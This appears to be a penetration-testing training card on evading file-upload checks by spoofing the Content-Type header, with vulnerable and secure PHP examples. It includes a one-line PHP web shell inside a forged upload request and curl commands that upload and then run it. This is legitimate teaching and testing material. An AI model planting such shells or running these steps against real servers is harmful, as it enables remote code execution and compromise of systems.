Content-Type Bypass: MIME Sniffing and Type Header Manipulation for Upload Restriction Evasion
Theory
Why This Matters
MIME type confusion has contributed to exploitation chains across every major class of web application. CVE-2016-4631 demonstrated how iOS processed attacker-controlled TIFF data because the declared MIME type was trusted over actual content inspection. On the server side, dozens of real-world file upload implementations have been bypassed solely by changing the Content-Type request header, because developers assumed this header was set by the browser based on the file's true type. In enterprise applications using Apache Tika or similar content detection libraries incorrectly, the same confusion arises: the library is called only after the declared type passes a denylist check, so the declared type is the only gate that matters.
Core Concept
The Content-Type header in a multipart upload request is a client-controlled value. The HTTP specification (RFC 7231) explicitly states that the sender chooses the media type for the entity body. A web browser sets this header by inspecting the file's extension or using OS-level MIME type maps, but any proxy or script can set it to any arbitrary string.
Server-side MIME validation falls into two categories with very different security properties:
-
Header-based validation — the server reads
$_FILES['file']['type'](PHP) orrequest.files['file'].content_type(Flask). This reflects the client-suppliedContent-Typeheader. An attacker intercepts the upload request and changesContent-Type: application/x-phptoContent-Type: image/jpeg. The server accepts the file as if it were an image. This is the bypass. -
Content-based detection — the server reads the actual bytes of the uploaded file and determines the MIME type independently of what the client claimed. PHP's
finfo_file($finfo, $tmp_path)withFILEINFO_MIME_TYPE, Python'spython-magic, and the UNIXfile --mime-typecommand all implement this. The result is derived from magic bytes (file signature bytes at known offsets), not from the header. This approach cannot be bypassed by header manipulation alone.
Browser MIME sniffing is a separate but related concept: browsers may ignore the server-supplied Content-Type response header and infer a type from the bytes of the response body. This is the client-side analogue. The X-Content-Type-Options: nosniff response header instructs compliant browsers to honour the declared type instead of sniffing — critical for preventing stored XSS via uploaded HTML files served as text/plain.
The violated invariant is: the content type used for security decisions must be derived from the file content, not from a header supplied by the entity being validated.
Technical Deep-Dive
# Original legitimate request captured in Burp Suite
POST /api/avatar/upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----WebKitBoundary
------WebKitBoundary
Content-Disposition: form-data; name="avatar"; filename="profile.jpg"
Content-Type: image/jpeg
<binary JPEG data>
------WebKitBoundary--
# ── Bypass: change only Content-Type, keep .jpg extension ──────────────────
POST /api/avatar/upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----WebKitBoundary
------WebKitBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitBoundary--
<?php
// VULNERABLE: trusting client-supplied Content-Type
$allowed = ['image/jpeg', 'image/png', 'image/gif'];
$type = $_FILES['upload']['type']; // CLIENT-CONTROLLED
if (!in_array($type, $allowed)) {
die("Invalid file type"); // Bypassable with header change
}
move_uploaded_file($_FILES['upload']['tmp_name'], 'uploads/' . $_FILES['upload']['name']);
// SECURE: server-side content detection with finfo
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$detected = finfo_file($finfo, $_FILES['upload']['tmp_name']);
finfo_close($finfo);
$allowed_detected = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($detected, $allowed_detected)) {
die("Invalid file content"); // Based on magic bytes, not header
}
// Also: rename file, store outside web root, strip extension
$safe_name = bin2hex(random_bytes(16)) . '.jpg';
move_uploaded_file($_FILES['upload']['tmp_name'], '/var/uploads/' . $safe_name);
?>
# Quick test using curl — set Content-Type without browser
curl -s -X POST https://app.example.com/upload
-F "[email protected];type=image/jpeg"
-b "session=<token>"
# -F with ;type= overrides the Content-Type for that form field
# If the response indicates success, the server trusted the header
# Verify execution if file is stored in a web-accessible path
curl "https://app.example.com/uploads/shell.php?cmd=id"
Security Assessment Methodology
- Map upload parameters — Identify all multipart form fields and API endpoints accepting file data. Capture a baseline legitimate upload in Burp Proxy.
- Inspect server validation response — Submit a file with an obviously disallowed extension (e.g.,
.exe) and observe the rejection message. Determine whether the error references "file type", "extension", or "content". - Isolate Content-Type as the sole gate — In Burp Repeater, change only the
Content-Typeheader toimage/jpegwhile keeping the PHP body. If the server accepts the file, Content-Type header trust is confirmed. - Test cross-type spoofing — Try
Content-Type: image/png,image/gif,application/pdfto see if any allowed type is accepted regardless of body content. - Check stored file location and extension — Retrieve the stored file URL from the upload response. Confirm whether the server preserves the original extension or renames. If the extension is preserved as
.php, RCE is achievable on execution. - Test sniffing behavior — Upload an HTML file with
Content-Type: text/plain. Request the stored URL and observe the browser's rendered output. If the HTML executes,X-Content-Type-Options: nosniffis missing. - Run automated checks — Use Burp Scanner's "File Upload" check category and supplement with manual bypass variants.
Defensive Countermeasure — Never use
$_FILES['f']['type']or any client-supplied MIME value for security decisions. Always derive the MIME type server-side usingfinfo_file()(PHP),python-magic(Python), or Apache Tika with content extraction. Combine with an extension allowlist (independent layer), UUID rename on storage, and storage outside the document root.
Common Assessment Errors
- Concluding safe after extension is blocked — The server may block
.phpextensions but accept any declaredContent-Type. Test each validation layer independently. - Not confirming whether the stored file is executable — A PHP body stored with a
.jpgextension is harmless unless anAddHandlerdirective makes.jpgexecutable. Always attempt to execute the stored file, not just upload it. - Ignoring multipart boundary edge cases — Some parsers behave differently when the boundary string contains special characters. If standard bypass fails, try boundary manipulation.
- Testing only from a browser — Browsers set
Content-Typeautomatically. Always use a proxy (Burp) or curl with explicit type override to confirm the bypass. - Missing the X-Content-Type-Options check — Even if a PHP shell cannot execute, an HTML file served without
nosniffcan achieve stored XSS. Always test both vectors. - Overlooking framework abstractions — Django's
request.FILESstill exposescontent_typefrom the client. Flask'srequest.files['f'].content_typeis equally client-controlled. The pattern is language-agnostic.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Explains the precise mechanism by which header trust creates an exploitable flaw |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Connects MIME confusion to browser sniffing and server-side trust failures |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains independent layer testing to isolate Content-Type as the validation gate |
| S0044 | Skill in mimicking threat behaviors to test defenses | Develops ability to craft header-manipulated requests that evade client-side controls |
| T0028 | Conduct and support authorized penetration testing on enterprise networks | Provides tool-explicit methodology using Burp Repeater and curl |
| T0591 | Perform penetration testing as required for new or updated applications | Frames MIME bypass testing as a required upload endpoint assessment step |
Further Reading
- OWASP Testing Guide v4.2, Section 4.8.9 — Testing for Unrestricted File Upload (OWASP Foundation)
- RFC 7231, Section 3.1.1 — Media Type (IETF)
- Sniffing MIME Types in Browsers — Mozilla Developer Network Web Docs
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.